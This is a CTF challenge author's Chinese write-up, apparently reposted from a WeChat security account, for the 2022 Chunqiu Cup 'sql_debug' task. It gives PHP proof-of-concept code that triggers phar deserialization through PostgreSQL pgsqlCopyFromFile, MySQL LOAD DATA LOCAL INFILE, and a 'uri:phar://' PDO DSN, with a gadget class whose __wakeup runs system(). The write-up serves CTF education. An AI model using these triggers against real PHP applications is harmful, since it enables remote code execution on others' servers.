点击蓝字 · 关注我们
恭喜永信至诚春秋GAME,2022年春秋杯网络安全联赛春季赛圆满成功!
首先很荣幸受邀给i春秋出题,然后因为自己没有太多时间去研究点好玩的新技术,于是就把之前发现的phar利⽤点给出成了题。最终整场⽐赛1解( 做出来的师傅不多 可能是因为调休补班,师傅们都没空来做,另一方面也是题⽬设计的不是很好 ,在这⾥给师傅们道个歉 ,轻点骂 什么垃圾题⽬
source/vendor/nette/database/src/Database/Connection.php
我们知道 myqsl 和 pdo 都有 phar 利⽤,不幸的是这两个利⽤⽅式都⽆法在本题中使⽤。
1. Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres",
"sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
2. MySQL
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES
TERMINATED BY 'rn' IGNORE 1 LINES;');
查找 dsn_from_uri 发现只有⼀地⽅存在调⽤,即 static PHP_METHOD(PDO, dbh_constructor)
我们在php的官⽹可以找到 uri: 的相关解释:
dsn由uri组成:后⾯跟着⼀个定义包含dsn字符串的⽂件位置的uri。URI可以指定本地⽂件或远程URL。
所以我们可以通过 uri:phar://phar.phar 的⽅式触发phar反序列,demo如下:
include_once "classTest.php";
$dbms='mysql';
$host='localhost';
$dbName='test';
$user='root';
$pass='';
$dsn="uri:phar://phar.phar/$dbms:host=$host;dbname=$dbName";
try {
$dbh = new PDO($dsn, $user, $pass);
$dbh = null;
} catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
?>
-
vscode的调试配置⽂件⾥ 可以把参数配置为 -S 这样就可以启动web服务,⾮常的⽅便调试。
{
// 使⽤ IntelliSense 了解相关属性。
// 悬停以查看现有属性的描述。
// 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [{
"name": "(lldb) Debug",
"type": "cppdbg",
"request": "launch",
"program": "/usr/local/php7.1.33/bin/php",
"args": ["-S","0:10001"],
"stopAtEntry": false,
"cwd": "${workspaceRoot}/html/",
}
]
}
-
鸡肋 只适合CTF -
互联⽹没看到有⼈发 算是⼀个新的知识点
重点来了
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析